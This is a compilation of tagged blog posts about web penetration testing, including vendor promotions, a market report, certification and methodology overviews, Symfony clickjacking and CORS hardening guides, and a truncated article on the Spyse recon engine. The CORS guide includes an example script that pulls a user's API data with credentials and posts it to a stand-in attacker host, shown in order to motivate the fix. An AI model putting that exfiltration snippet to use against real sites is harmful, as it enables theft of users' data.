#web pentest tool

[anup11singh]

Your Web App is Not A Grey Area: Importance of Web App Pentest

Apart from regular manual penetration testing, it is essential to use an automated VMDR tool equipped with vulnerability scanning and pentesting capabilities to ensure the holistic security of your web applications. AutoSecT is equipped with all the indispensable features that are needed in a modern web pentest tool to redefine web security, from identifying vulnerabilities in the source code to securing the final application.

[bansaldeept]

Why Vulnerability Scanner Tool is Essential?

Consistent use of vulnerability scanner tool enables organizations to uphold a robust security posture by continuously tracking new vulnerabilities and environmental changes. This proactive approach helps you stay ahead of potential threats and fosters a vigilant security mindset.

[pentesttestingcorp]

Symfony Clickjacking Prevention Guide

Clickjacking is a deceptive technique where attackers trick users into clicking on hidden elements, potentially leading to unauthorized actions. As a Symfony developer, it's crucial to implement measures to prevent such vulnerabilities.

🔍 Understanding Clickjacking

Clickjacking involves embedding a transparent iframe over a legitimate webpage, deceiving users into interacting with hidden content. This can lead to unauthorized actions, such as changing account settings or initiating transactions.

🛠️ Implementing X-Frame-Options in Symfony

The X-Frame-Options HTTP header is a primary defense against clickjacking. It controls whether a browser should be allowed to render a page in a <frame>, <iframe>, <embed>, or <object> tag.

Method 1: Using an Event Subscriber

Create an event subscriber to add the X-Frame-Options header to all responses:

// src/EventSubscriber/ClickjackingProtectionSubscriber.php namespace App\EventSubscriber; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\KernelEvents; class ClickjackingProtectionSubscriber implements EventSubscriberInterface { public static function getSubscribedEvents() { return [ KernelEvents::RESPONSE => 'onKernelResponse', ]; } public function onKernelResponse(ResponseEvent $event) { $response = $event->getResponse(); $response->headers->set('X-Frame-Options', 'DENY'); } }

This approach ensures that all responses include the X-Frame-Options header, preventing the page from being embedded in frames or iframes.

Method 2: Using NelmioSecurityBundle

The NelmioSecurityBundle provides additional security features for Symfony applications, including clickjacking protection.

Install the bundle:

composer require nelmio/security-bundle

Configure the bundle in config/packages/nelmio_security.yaml:

nelmio_security: clickjacking: paths: '^/.*': DENY

This configuration adds the X-Frame-Options: DENY header to all responses, preventing the site from being embedded in frames or iframes.

🧪 Testing Your Application

To ensure your application is protected against clickjacking, use our Website Vulnerability Scanner. This tool scans your website for common vulnerabilities, including missing or misconfigured X-Frame-Options headers.

Screenshot of the free tools webpage where you can access security assessment tools.

After scanning for a Website Security check, you'll receive a detailed report highlighting any security issues:

An Example of a vulnerability assessment report generated with our free tool, providing insights into possible vulnerabilities.

🔒 Enhancing Security with Content Security Policy (CSP)

While X-Frame-Options is effective, modern browsers support the more flexible Content-Security-Policy (CSP) header, which provides granular control over framing.

Add the following header to your responses:

$response->headers->set('Content-Security-Policy', "frame-ancestors 'none';");

This directive prevents any domain from embedding your content, offering robust protection against clickjacking.

🧰 Additional Security Measures

CSRF Protection: Ensure that all forms include CSRF tokens to prevent cross-site request forgery attacks.

Regular Updates: Keep Symfony and all dependencies up to date to patch known vulnerabilities.

Security Audits: Conduct regular security audits to identify and address potential vulnerabilities.

📢 Explore More on Our Blog

For more insights into securing your Symfony applications, visit our Pentest Testing Blog. We cover a range of topics, including:

Preventing clickjacking in Laravel

Securing API endpoints

Mitigating SQL injection attacks

🛡️ Our Web Application Penetration Testing Services

Looking for a comprehensive security assessment? Our Web Application Penetration Testing Services offer:

Manual Testing: In-depth analysis by security experts.

Affordable Pricing: Services starting at $25/hr.

Detailed Reports: Actionable insights with remediation steps.

Contact us today for a free consultation and enhance your application's security posture.

[cybersecurityict]

Crowdsourced Testing Market Size, Share, Analysis, Forecast, Growth 2032: Consumer Behavior and Market Demand Analysis

Crowdsourced Testing Market size was valued at USD 2.6 Billion in 2023 and is expected to reach USD 6.3 Billion by 2032, growing at a CAGR of 10.4% over the forecast period 2024-2032.

Crowdsourced Testing Market is rapidly transforming the software quality assurance landscape, driven by the rising need for agile, cost-effective, and real-time testing solutions. This approach leverages a global pool of testers to evaluate digital products under real-world conditions, enabling companies to deliver superior user experiences. From startups to large enterprises, organizations are embracing crowdsourced testing to shorten release cycles and identify critical bugs across a wider range of devices, networks, and geographies.

Crowdsourced Testing Market is witnessing robust traction as businesses seek to enhance product reliability while maintaining speed-to-market. The availability of diverse testers helps uncover usability issues and functional defects early, reducing the cost and time of post-release fixes. This decentralized testing model also complements DevOps practices by providing continuous feedback through parallel testing, thus improving test coverage and scalability.

Get Sample Copy of This Report: https://www.snsinsider.com/sample-request/3680 

Market Keyplayers:

Applause (Applause Platform, Applause Codeless Automation)

uTest (uTest Platform, Test Cycle Management)

Testlio (Testlio Platform, Testlio Managed Testing)

Crowdtest (Crowdtest Dashboard, Bug Discovery Service)

Passbrains (Passbrains Platform, Passbrains Marketplace)

Bugcrowd (Bug Bounty Program, Vulnerability Disclosure Program)

Synack (Synack Red Team, Synack Vulnerability Intelligence)

Global App Testing (Functional Testing, Exploratory Testing)

Rainforest QA (Rainforest Automation, Rainforest Tester Network)

Cobalt (Cobalt Pentest Platform, Cobalt Core)

99tests (Crowd Testing Platform, Functional Testing Suite)

Testbirds (Testbirds Nest, Device Cloud)

Digivante (Digivante Platform, Exploratory Testing)

Crowdsprint (Crowdsprint Testing Services, Performance Testing)

test IO (Exploratory Testing, test IO Automation)

QaizenX (Crowdtesting Platform, App Usability Testing)

Mob4Hire (MobTest Platform, Crowdsource Usability Testing)

Crowd4Test (Crowd4Test Platform, Mobile App Testing)

WeAreTesters (Crowdsourced QA, Bug Bounty Services)

Market Analysis

The crowdsourced testing market is shaped by the evolving demands of the digital economy. Companies are increasingly recognizing the limitations of traditional testing environments, particularly when it comes to testing under diverse real-world conditions. Crowdsourced testing platforms offer flexibility, global tester reach, and faster execution, making them ideal for mobile apps, web platforms, gaming, IoT, and other digital products. The surge in smartphone penetration, expansion of internet services, and growing complexity of applications are further fueling the adoption of this model.

Additionally, the market is being driven by increasing focus on user experience, where usability and accessibility play critical roles. Organizations are also turning to crowdsourced testing to ensure compliance with localization standards and diverse user demographics.

Market Trends

Increased adoption among SMEs: Small and medium enterprises are leveraging crowdsourced testing for its cost-efficiency and access to global testers without infrastructure investments.

Integration with AI and automation tools: Crowdsourced platforms are enhancing their capabilities by incorporating AI-driven insights and automation features for smarter test management.

Focus on cybersecurity testing: With rising threats, companies are increasingly using ethical hackers and testers in crowdsourced environments to identify security vulnerabilities.

Greater use in localization testing: Brands expanding globally are using crowd testers to ensure cultural, linguistic, and functional alignment across regions.

Real-time testing demand: As development cycles shorten, the need for on-demand, real-time testing is growing, making crowdsourced testing a strategic fit for agile and DevOps methodologies.

Market Scope

The crowdsourced testing market spans across various sectors including e-commerce, BFSI, healthcare, telecommunications, gaming, and media & entertainment. Its scope extends beyond simple bug detection to encompass exploratory testing, usability feedback, beta testing, localization validation, and performance testing. The ability to conduct tests across different geographies, devices, browsers, and network conditions gives this market a significant edge over conventional QA methods.

Furthermore, as digital transformation initiatives accelerate globally, the demand for scalable, diverse, and real-world testing environments is becoming indispensable. Crowdsourced testing not only offers scalability but also helps companies validate their digital products under diverse environmental factors that in-house testing teams may not replicate efficiently.

Market Forecast

The future of the crowdsourced testing market is highly promising, supported by increasing digital product rollouts and the evolution of cloud-based testing infrastructure. As enterprises continue to prioritize user satisfaction and rapid deployment cycles, crowdsourced testing will become a cornerstone of software quality assurance strategies. Expansion in emerging economies, rise in remote work models, and growing reliance on mobile-first applications are expected to drive further market penetration.

Market players are likely to focus on strategic partnerships, AI integration, and tester community development to expand their offerings. The growth trajectory is further strengthened by regulatory requirements for accessibility, performance benchmarks, and the growing complexity of user behavior across different platforms.

Access Complete Report: https://www.snsinsider.com/reports/crowdsourced-testing-market-3680 

Conclusion

In an era where digital experience defines brand perception, crowdsourced testing emerges as a vital enabler of quality and agility. Its ability to tap into global user insights and provide scalable, real-world testing makes it a game-changer for businesses aiming to deliver flawless digital interactions. As technology evolves, those who strategically harness the power of the crowd will lead with innovation, user satisfaction, and competitive advantage.

About Us:

SNS Insider is one of the leading market research and consulting agencies that dominates the market research industry globally. Our company's aim is to give clients the knowledge they require in order to function in changing circumstances. In order to give you current, accurate market data, consumer insights, and opinions so that you can make decisions with confidence, we employ a variety of techniques, including surveys, video talks, and focus groups around the world.

Contact Us:

Jagney Dave - Vice President of Client Engagement

Phone: +1-315 636 4242 (US) | +44- 20 3290 5010 (UK)

[jcmarchi]

The State of Pentesting in 2025: Why AI-Driven Security Validation Is Now a Strategic Imperative

New Post has been published on https://thedigitalinsider.com/the-state-of-pentesting-in-2025-why-ai-driven-security-validation-is-now-a-strategic-imperative/

The State of Pentesting in 2025: Why AI-Driven Security Validation Is Now a Strategic Imperative

The 2025 State of Pentesting Survey Report by Pentera paints a striking picture of a cybersecurity landscape under siege—and evolving fast. This isn’t just a story about defending digital borders; it’s a blueprint of how enterprises are transforming their approach to security, driven by automation, AI-based tools, and the unrelenting pressure of real-world threats.

Breaches Persist Despite Bigger Security Stacks

Despite deploying increasingly complex security stacks, 67% of U.S. enterprises reported experiencing a breach in the past 24 months. These weren’t minor incidents either—76% reported a direct impact on confidentiality, integrity, or availability of data, and 36% experienced unplanned downtime, while 28% faced financial losses.

The correlation is clear: as stack complexity rises, so do the alerts—and the breaches. Enterprises using more than 100 security tools experienced an average of 3,074 weekly alerts, while those using between 76–100 tools faced 2,048 alerts per week

Yet this avalanche of data often overwhelms security teams, delaying response times and allowing real threats to slip through the cracks.

Cybersecurity Insurance Is Shaping Tech Adoption

Cyber insurers have become unexpected drivers of cybersecurity innovation. A striking 59% of U.S. enterprises implemented new security tools specifically at the request of their insurer, and 93% of CISOs reported that insurers influenced their security postures. In many cases, these recommendations went beyond compliance—they shaped tech strategy.

The Rise of Software-Based Pentesting

Manual pentesting is no longer the default. Over 55% of organizations now rely on software-based pentesting within their in-house programs, with another 49% using third-party providers. In contrast, just 17% still rely solely on in-house manual testing.

This transition to automated adversarial testing reflects a broader trend: the need for scalable, repeatable, and real-time validation in an era of ever-evolving threats. These automated platforms simulate attacks ranging from file-less malware to privilege escalation, enabling enterprises to assess their resilience continuously and without disruption.

Security Budgets Are Growing—Fast

Security isn’t getting cheaper, but organizations are prioritizing it anyway. The average annual pentesting budget is $187,000, accounting for 10.5% of total IT security spend. Larger enterprises (10,000+ employees) spend even more—an average of $216,000 annually.

In 2025, 50% of enterprises plan to increase their pentesting budgets, and 47.5% expect to grow their overall security spend. Only 10% anticipate a decrease in investment. These numbers highlight security’s rise from an operational necessity to a boardroom priority.

Security Testing Is Still Playing Catch-Up

Here’s a startling disconnect: 96% of enterprises report infrastructure changes at least quarterly, but only 30% conduct pentesting at that same frequency. The result? New vulnerabilities slip through untested changes, expanding the attack surface with each software push or config update.

Only 13% of large enterprises with over 10,000 employees conduct quarterly pentests. Meanwhile, nearly half still test only once per year—a dangerous lag in today’s dynamic threat environment.

Risk Alignment Is Sharper Than Ever

Encouragingly, security leaders are focusing testing where breaches actually happen. Nearly 57% prioritize web-facing assets, followed by internal servers, APIs, cloud infrastructure, and IoT devices. This alignment reflects a growing awareness that attackers don’t discriminate—they exploit any available vulnerability across the entire attack surface.

APIs, in particular, have emerged as a high-priority target, both for attackers and defenders. These interfaces are increasingly essential to business operations but often lack visibility and standard monitoring, making them ripe for exploitation.

Operationalizing Pentest Results

Pentest reports are no longer being shelved. Instead, 62% of enterprises immediately transfer findings to IT for remediation prioritization, while 47% share results with senior management and 21% report directly to their boards or regulators.

This shift toward action reflects a deeper integration of pentesting into strategic risk management—not just compliance checkboxing. Security validation is becoming part of the business conversation.

What’s Holding Back Even Faster Progress?

While the trendlines are positive, key inhibitors remain. The top two barriers to more frequent pentesting are budget constraints (44%) and a lack of available pentesters (48%)—the latter reflecting a global shortfall of 4 million cybersecurity professionals, according to the World Economic Forum.

Operational risk, such as fear of outages during testing, remains a concern for 30% of CISOs.

From Compliance Obligation to Strategic Weapon

Pentesting has evolved far beyond its origins as a regulatory requirement. Today, it supports strategic initiatives, including M&A due diligence and executive-level decision-making. Nearly one-third of respondents now cite “executive mandate” and “preparing for M&A” as key reasons for conducting pentests.

This marks a fundamental transformation: from a reactive check-up to a proactive and continuous measure of cyber resilience.

Final Thoughts

The 2025 State of Pentesting Survey Report is more than a status update—it’s a wake-up call. As attack surfaces grow and threat actors become more sophisticated, organizations can no longer afford slow, manual, or siloed approaches to security testing. AI-powered, software-based pentesting is stepping in to close that gap with speed, scale, and insight.

The organizations that thrive in this new era will be those that treat security validation not just as a technical necessity, but as a strategic imperative.

For more insights, download the full 2025 State of Pentesting Survey Report from Pentera.

[anushka121]

Best Cloud Pentesting Tool in 2025 for Azure, AWS, GCP

AutoSecT offers a comprehensive and efficient approach to vulnerability management. It provides automated scanning and penetration testing across web, mobile, cloud, and API platforms, ensuring thorough coverage of potential security risks. With features like real-time vulnerability analysis, customizable reports, and seamless integration with CI/CD pipelines, AutoSecT helps organizations stay ahead of cyber threats.

[mywordsolutionedu-blog]

🔐 Struggling with your CSC8101 Penetration Testing assignment at USQ? Don’t stress — get expert help to crack the code! 💻⚡️

✅ Ethical hacking

✅ Network scanning

✅ Reporting & tools

We specialize more in related courses:

CIS6708 Digital Forensics

CSC8101 Penetration Testing

CSC5020 Foundations of Programming

CIS5310 IS/ICT Project Management

CSC8100 Cyber Security Architecture

CSC8740 Client-side web Technology

CIS6707 Cyber Incident Management

CIS6712 Information Assurance and Risk Management

CIS5206 Data Mining for Business Analytics and Cyber Security

DM now for support! 🔍📚

#USQ #CyberSecurity #PenTesting #CSC8101 #AssignmentHelp #CIS6708 #DigitalForensics #CSC5020 #CIS5310 #CSC8100 #CyberSecurity #CSC8740 #CIS6707 #CIS6712 #CIS5206 #University #Australia #SouthernQueensland #PenetrationTesting #USQ

[thecyberpunkers]

Tool: reNgine - Optimal installation

reNgine is your ultimate web application reconnaissance suite, designed to supercharge the recon process for security pros, pentesters, and bug bounty hunters. It is go-to web application reconnaissance suite that’s designed to simplify and streamline the reconnaissance process for all the needs of security professionals, penetration testers, and bug bounty hunters.  Source:…

[whypsychology1]

How to Choose the Right Counselling Courses in Scotland

Each penetration testing methodology has its specific use cases and benefits. Organizations should select among penetration testing methodologies based on their security goals, technical environment, and compliance requirements.

Different methodologies exist for penetration testing different digital assets. In the brief overview below, we will discuss their focus, strengths, and weaknesses.

OWASP Penetration Testing Methodology

The OWASP (Open Web Application Security Project) Penetration Testing Methodology is one of the most well-known methodologies for pen testing. It provides a structured framework for assessing the security of web applications (there are other methodologies for, say, mobile application pentests). OWASP is widely used for identifying vulnerabilities and ensuring the reliability of web software. The OWASP Web Security Testing Guide (WSTG) is central to this methodology, outlining specific tests and tools for detecting security issues in web applications

This methodology mostly focuses on a black-box approach, simulating an external attack without prior knowledge of the internal structure of the application. It emphasizes the use of practical tools and techniques, covering areas like input validation, authentication, session management, and business logic testing. It is instrumental in strengthening the application’s security posture against modern cyber threats.

OWASP does provide comprehensive coverage, as it Includes all major aspects of web application security, from technical vulnerabilities to business logic issues. It is freely available, making it accessible to organizations of all sizes and there are regular updates to it that ensure it reflects the latest in web application security.

However, OWASP utilization depends heavily on the tester's expertise and experience in applying the framework effectively. Also, it is less suited for testing other domains.

NIST SP 800-115 Penetration Testing Methodology

NIST SP 800-115, titled "Technical Guide to Information Security Testing and Assessment," provides a structured framework for conducting penetration testing and other security assessments. It is aimed at helping organizations evaluate the effectiveness of their security controls by simulating real-world attacks. The methodology covers three phases, such as 1) Planning, which accounts for defining objectives and scope; establishing roles, responsibilities, and rules of engagement; and identifying targets and constraints. 2) Execution, which accounts for performing information gathering and vulnerability identification; exploiting vulnerabilities to demonstrate their potential impact; and documenting findings in real-time for accuracy. 3) Post-Execution, which accounts for analyzing results to prioritize remediation efforts and delivering a comprehensive report with detailed findings, risks, and mitigation strategies.

NIST SP 800-115 is characterized by a comprehensive scope as it addresses various testing techniques, including network, application, and physical security assessment guidelines. It promotes consistency across testing teams and environments as well as clear remediation steps and prioritization of risks.

However, while detailed, it may lack specific technical steps for unique environments. Also, it’s quite resource-intensive: requires skilled personnel and significant time investment for effective execution.

SANS Penetration Testing Framework

SANS Penetration Testing Methodology is derived from best practices taught by the SANS Institute, a leader in cybersecurity training and certifications. This methodology provides a structured approach to ethical hacking and is widely used for identifying vulnerabilities and simulating real-world attacks. It is often paired with SANS courses like SEC560 (Network Penetration Testing and Ethical Hacking) and SEC542 (Web App Penetration Testing and Ethical Hacking).

The methodology includes such steps as: 1) Reconnaissance: gathering open-source intelligence (OSINT) to understand the target environment; 2) Scanning: identifying live hosts, open ports, and services through tools like Nmap; 3) Exploitation: using vulnerabilities found during scanning to gain unauthorized access; 4) Post-Exploitation: maintaining access, escalating privileges, and pivoting to other systems. 5) Reporting: documenting findings, risks, and mitigation strategies.

This penetration testing framework is distinguished by its practicality. It focuses on real-world scenarios and hands-on techniques. Also, it covers all major aspects of penetration testing, from reconnaissance to reporting, and is supported by extensive SANS training programs and certifications. On the other hand, it requires skilled testers and extensive time investment. Also, it relies heavily on tools like Metasploit and Burp Suite, which may limit creativity in certain scenarios.

CREST Penetration Testing Methodology

CREST (Council of Registered Ethical Security Testers) penetration testing is a standardized and globally recognized methodology for conducting penetration tests. It ensures that tests are performed by certified professionals who follow consistent, detailed, and ethical procedures to evaluate an organization's cybersecurity posture. CREST accreditation guarantees high-quality, precise, and trustworthy testing

CREST-certified penetration testing involves simulated cyberattacks authorized by the client to assess vulnerabilities in IT systems, networks, and applications. The methodology emphasizes robust documentation, pre-engagement planning, and adherence to ethical and professional standards.

It is a credible methodology: CREST-certified testers and organizations ensure globally recognized standards of professionalism and expertise. It covers various areas including network, application, and infrastructure testing; ensures detailed and actionable reporting, aiding stakeholders in implementing corrective measures.

It should be noted that CREST-certified services can be expensive due to rigorous certification and resource requirements. The certification process and execution can take longer compared to non-standardized methodologies.

The above methodologies can be used for different types of penetration testing, such as web or mobile. A professional penetration testing company can follow these standards when working with end clients or its white label partners leveraging its expertise for the benefit of general cybersecurity.

[26140310]

CompTIA PenTest+: A Comprehensive Guide to Ethical Hacking and Penetration Testing

In the ever-growing world of cybersecurity, businesses and organizations face constant threats from hackers and cybercriminals. As the digital landscape becomes more complex, securing IT systems has never been more critical. One of the most effective ways to identify vulnerabilities and fortify security measures is through penetration testing, or ethical hacking. The CompTIA PenTest+ certification is designed to equip cybersecurity professionals with the skills necessary to perform comprehensive penetration tests and identify potential vulnerabilities before malicious hackers can exploit them. In this article, we’ll dive into what CompTIA PenTest+ is, why it’s valuable, and how you can prepare for this important certification.

What is CompTIA PenTest+?

CompTIA PenTest+ is an intermediate-level certification aimed at professionals working in the field of penetration testing and vulnerability assessment. The certification is vendor-neutral, meaning it covers a wide array of tools and techniques, not focusing on any specific platform or vendor. Penetration testing is a proactive approach to cybersecurity that involves authorized testing of a computer system, network, or web application to identify vulnerabilities that could be exploited by hackers.

The PenTest+ exam (PT0-002) tests a candidate’s ability to plan and conduct penetration tests, analyze results, and report findings in a way that helps organizations strengthen their security posture. This certification is perfect for individuals who want to specialize in ethical hacking and work as penetration testers, security consultants, or vulnerability assessors.

Key Domains of the CompTIA PenTest+ Exam

The CompTIA PenTest+ certification exam covers a wide range of topics, organized into several key domains. These domains represent the essential areas of knowledge and skill required for a successful penetration testing career.

1. Planning and Scoping

Penetration testing requires careful planning and proper scoping to ensure that tests are aligned with the organization's needs and security goals. The planning and scoping domain covers the fundamentals of understanding client requirements, defining testing goals, and determining the scope of testing to avoid accidental system disruptions. This includes creating test plans, obtaining necessary permissions, and setting boundaries for tests to ensure compliance with legal and ethical standards.

2. Scanning and Enumeration

This domain focuses on identifying vulnerabilities in systems, networks, and applications using scanning and enumeration techniques. Candidates must demonstrate their ability to conduct vulnerability assessments by performing network scanning, identifying open ports, and mapping out network architecture. The goal is to identify entry points where attackers might exploit weaknesses, including misconfigurations or software vulnerabilities.

3. Exploitation

Once vulnerabilities are identified, penetration testers must assess whether they can be exploited. The exploitation domain emphasizes the process of leveraging identified weaknesses to gain unauthorized access to systems or networks. Penetration testers must be skilled in using various exploitation tools, scripting, and techniques to simulate real-world attacks, such as buffer overflows or SQL injections.

4. Post-Exploitation and Reporting

After successfully exploiting vulnerabilities, penetration testers must perform post-exploitation tasks, which include gathering evidence, maintaining access, and identifying further weaknesses. This domain focuses on the actions taken after gaining access, such as privilege escalation and data exfiltration, and emphasizes the importance of documenting the entire testing process. The ability to clearly report findings and provide remediation recommendations is a critical aspect of the job.

5. Tools and Techniques

PenTest+ also evaluates proficiency with common penetration testing tools and techniques used throughout the engagement process. Tools such as Kali Linux, Metasploit, and Burp Suite are essential for conducting penetration tests. Mastery of these tools enables penetration testers to efficiently find and exploit vulnerabilities across different platforms.

6. Legal and Compliance Considerations

Ethical hacking requires adherence to legal and regulatory guidelines. Penetration testers need to understand the legal implications of their actions and ensure they stay compliant with relevant standards, such as GDPR, HIPAA, and PCI-DSS. This domain ensures that professionals can operate within ethical and legal boundaries while performing their tests.

Why CompTIA PenTest+ is Valuable

1. Growing Demand for Cybersecurity Professionals

Cybersecurity continues to be a top priority for organizations, with cyberattacks becoming more frequent and sophisticated. According to a report by the Cybersecurity Ventures, cybercrime damages are expected to cost the world over $10 trillion annually by 2025. As a result, the demand for skilled cybersecurity professionals, particularly penetration testers, has surged. CompTIA PenTest+ validates your expertise in ethical hacking and positions you as an expert capable of identifying and mitigating security risks before they are exploited by malicious actors.

2. Vendor-Neutral and Comprehensive

Unlike vendor-specific certifications that focus on a particular platform, CompTIA PenTest+ is vendor-neutral. This means it prepares professionals to work across a wide range of environments, using various tools and techniques. This comprehensive approach makes it a versatile certification that opens doors to a variety of roles and industries, including government, healthcare, finance, and more.

3. Career Advancement Opportunities

Penetration testing is one of the most sought-after skill sets in the cybersecurity industry. Earning the CompTIA PenTest+ certification can unlock a range of career opportunities, including roles such as penetration tester, ethical hacker, security consultant, and vulnerability assessor. As organizations prioritize proactive security measures, having a certification like PenTest+ can set you apart from other candidates and increase your earning potential.

4. Industry Recognition

CompTIA certifications are widely respected in the IT industry for their rigor and vendor-neutral approach. The PenTest+ certification is recognized globally, and many organizations view it as a benchmark for professionals who have the knowledge and skills necessary to perform effective penetration tests.

How to Prepare for the CompTIA PenTest+ Exam

1. Review the Exam Objectives

CompTIA provides a comprehensive list of exam objectives that outline the knowledge and skills you will be tested on. Reviewing these objectives thoroughly helps ensure you are prepared for the exam. It will guide you in focusing on the right topics and understanding what’s required for success.

2. Take Official CompTIA Study Materials

CompTIA offers official study guides and online resources designed specifically for the PenTest+ exam. These materials include practice exams, study guides, and video tutorials that break down each topic and provide in-depth explanations. These resources are essential for ensuring that you grasp all the key concepts.

3. Hands-On Practice

Penetration testing is a practical skill, and gaining hands-on experience is critical. Set up a lab environment where you can practice exploiting vulnerabilities and using penetration testing tools. Platforms like Hack The Box, TryHackMe, or VulnHub provide interactive environments where you can simulate real-world penetration testing scenarios.

4. Join Study Groups

Joining online study groups or forums can be a great way to gain insights from other candidates and certified professionals. Sites like Reddit’s r/CompTIA, TechExams.net, or even LinkedIn groups dedicated to CompTIA certifications are excellent resources for advice, exam tips, and practice questions.

Conclusion

The CompTIA PenTest+ certification is an invaluable asset for cybersecurity professionals who wish to specialize in penetration testing and ethical hacking. As cyber threats continue to evolve, the need for skilled penetration testers has never been greater. CompTIA PenTest+ not only validates your ability to conduct thorough penetration tests but also positions you as an expert in identifying and mitigating vulnerabilities before they can be exploited. With the growing demand for cybersecurity professionals and the increasing complexity of cyberattacks, obtaining this certification can enhance your career prospects, lead to new job opportunities, and ensure you stay at the forefront of the cybersecurity industry.

[pentesttestingcorp]

CORS Misconfigurations in Symfony: Fix & Secure

🔐 Cross-Origin Resource Sharing (CORS) Misconfigurations in Symfony

Cross-Origin Resource Sharing (CORS) is an essential part of modern web applications, allowing browsers to safely make requests to different domains. However, when misconfigured—especially in frameworks like Symfony—it can expose your application to severe security risks.

In this blog, we’ll explore how CORS misconfigurations occur in Symfony, how attackers exploit them, how to fix them properly, and how to validate your security posture using our Website Vulnerability Scanner online free.

👉 Also, check out more security blogs at the Pentest Testing Blog.

⚠️ What is CORS and Why is Misconfiguration Dangerous?

CORS defines how a browser and server interact to determine whether a cross-origin request is safe. For example, if your Symfony app running on api.yourapp.com allows requests from any domain (*), you’re giving attackers the opportunity to steal user credentials or sensitive data using malicious scripts.

Common symptoms of CORS misconfiguration:

Access-Control-Allow-Origin: * used for private APIs

Insecure dynamic origins without proper validation

Allowing sensitive methods like PUT/DELETE without authentication

🧪 Example of a Vulnerable Symfony CORS Configuration

Let’s say you’re using NelmioCorsBundle for CORS handling in Symfony. Below is a problematic config:

# config/packages/nelmio_cors.yaml nelmio_cors: defaults: allow_origin: ['*'] allow_methods: ['GET', 'POST', 'PUT', 'DELETE'] allow_headers: ['*'] max_age: 3600 paths: '^/api/': allow_origin: ['*']

This configuration allows all domains to make any kind of request to your API routes — a textbook case of CORS misconfiguration.

🧰 Exploitation Example: How Attackers Abuse It

Imagine a malicious actor sets up a fake site:

<!-- evil-attacker-site.com --> <script> fetch("https://api.yourapp.com/api/user", { credentials: "include" }) .then(response => response.json()) .then(data => { // Send to attacker's server fetch("https://evil-attacker.com/steal", { method: "POST", body: JSON.stringify(data) }); }); </script>

If your Symfony API returns Access-Control-Allow-Origin: * and includes credentials, this attack works seamlessly.

✅ Secure Symfony CORS Configuration

Fixing this issue is as simple as applying a strict whitelist:

# config/packages/nelmio_cors.yaml nelmio_cors: defaults: allow_origin: ['https://yourapp.com', 'https://admin.yourapp.com'] allow_credentials: true allow_methods: ['GET', 'POST'] allow_headers: ['Content-Type', 'Authorization'] max_age: 3600 paths: '^/api/': allow_origin: ['https://yourapp.com']

👉 This ensures that only trusted domains can access your protected resources.

📷 Free Website Vulnerability Scanner

➡️ Screenshot of the Website Vulnerability Scanner webpage

Screenshot of the free tools webpage where you can access security assessment tools.

🖥️ Validating Fixes Using Our Free Tool

You don’t need to guess whether your app is secure. Just visit our Free Website Security Scanner and run a scan on your Symfony app. The scanner will flag common misconfigurations, including insecure CORS headers.

—

📷 Vulnerability Assessment Report

🖼️ Screenshot of a report generated by our tool to check Website Vulnerability

An Example of a vulnerability assessment report generated with our free tool, providing insights into possible vulnerabilities.

—

📦 Real-World Fix: CORS Middleware in Symfony

You can also write your custom middleware to intercept requests:

// src/EventListener/CorsListener.php namespace App\EventListener; use Symfony\Component\HttpKernel\Event\ResponseEvent; class CorsListener { public function onKernelResponse(ResponseEvent $event) { $response = $event->getResponse(); $request = $event->getRequest(); if (strpos($request->getPathInfo(), '/api/') === 0) { $origin = $request->headers->get('Origin'); if (in_array($origin, ['https://yourapp.com', 'https://admin.yourapp.com'])) { $response->headers->set('Access-Control-Allow-Origin', $origin); $response->headers->set('Access-Control-Allow-Credentials', 'true'); $response->headers->set('Access-Control-Allow-Headers', 'Content-Type, Authorization'); } } } }

Then register the listener in your services.yaml:

services: App\EventListener\CorsListener: tags: - { name: kernel.event_listener, event: kernel.response }

—

🛠️ Need Help Securing Your Symfony App?

If you're running a production web app, we highly recommend a full penetration test. Our team of experts can help:

🔎 Explore our services: 👉 Web App Penetration Testing Services

🤝 Want to resell or white-label our services? 👉 Offer Cybersecurity Services to Your Clients

—

📬 Stay Updated on Threats & Fixes

Subscribe to our latest cybersecurity newsletter to stay ahead of vulnerabilities and new security insights.

🔔 Subscribe on LinkedIn

—

✍️ Final Thoughts

CORS misconfigurations are a silent but critical vulnerability in many Symfony applications. Don’t leave your APIs exposed. Follow secure coding practices, whitelist trusted domains, avoid wildcards, and scan your website regularly for a Website Security test using tools like the one we offer.

For more articles like this, visit our cybersecurity blog.

—

💬 Have questions or need help hardening your Symfony app? Drop us a message or explore our full range of services.

[fromdevcom]

Data gathering is notorious for being a long and dreaded process. Spyse, a relatively new service, strives to make improvements in that field.Spyse aims to entirely oversee reconnaissance by offering several reconnaissance tools which are merged together into a full-service cyberspace search engine. Their primary advantage is that they offer users access to a ready database, a solution which negates the need to wait for new target scans. The database is massive, containing big data that is readily sorted and made available for the user instantly. In this article, we will look closely at Spyse cyberspace search engine, how they gather and store data, their flexibility and productivity-aimed tools, as well as how different types of experts can use this service to their advantage.How Spyse Collects DataSpyse Engine performs regular scans to maintain their database.They implement ten self-developed scanners, each focusing on specific information. These scanners work uninterruptedly to gather mass data. The data gets collected from multiple sources before in order to provide the correct results. Spyse’s 50 server global distribution system which allows them to scan for this data all over the world, bypassing area scanning restrictions and ISP blocking. As a result, users can tap into a database which contains all the information they need to perform reconnaissance or gather data on targets.   The Database ApproachThe database contains mass internet data gathered by Spyse scanners. Sorted and interlinked by algorithms, the data offers a plethora of exploring possibilities. Users can not only find specific information on their target, but also branch out their search by browsing data relationships, patterns, and more. The database is a cluster of 250 shards containing 7 billion documents of hot data. All of this is stored on fifty highly-functional servers, which receive constant updates to keep the data relevant. Instead of waiting for new scans to complete, users get results right away. Data Presentation: Website and APISpyse’s web interface looks much like a familiar search engine. You simply look up what you want to find, and the data comes back sorted into tables that can be customized for more convenient use. All this data can also be downloaded in CSV and JSON formats. With its handy filters and other productivity perks, Spyse’s web interface is great for newcomers as well as professionals. Spyse engine has a flexible API which can be easily integrated into your tools and services. The API has documentation on Swagger, and all the methods for how it can be used are displayed on the Spyse website. All GUI info can be attained with the API.They also have a Python wrapper made by zer0pwn, whose work many pentesters will be familiar with. Spyse does not currently have a CLI, but it is reportedly in the works. Productivity ToolsSpyse engine offers two handy tools for sorting results and testing the cyber-defense of several targets at once. Advanced search helps users extract precise results from mass pools of data. By implementing up to 5 search parameters, users can find very specific data. For example: Make an ASN lookup to investigate the target’s AS and find all IP addresses that have vulnerable technology on their assets.   The Scoring is another great tool that scans a target, or the number of targets, and assigns each a security rating of 0-100. Users can then view expanded details on each found vulnerability and determine whether it worth attention. It becomes a lifesaver 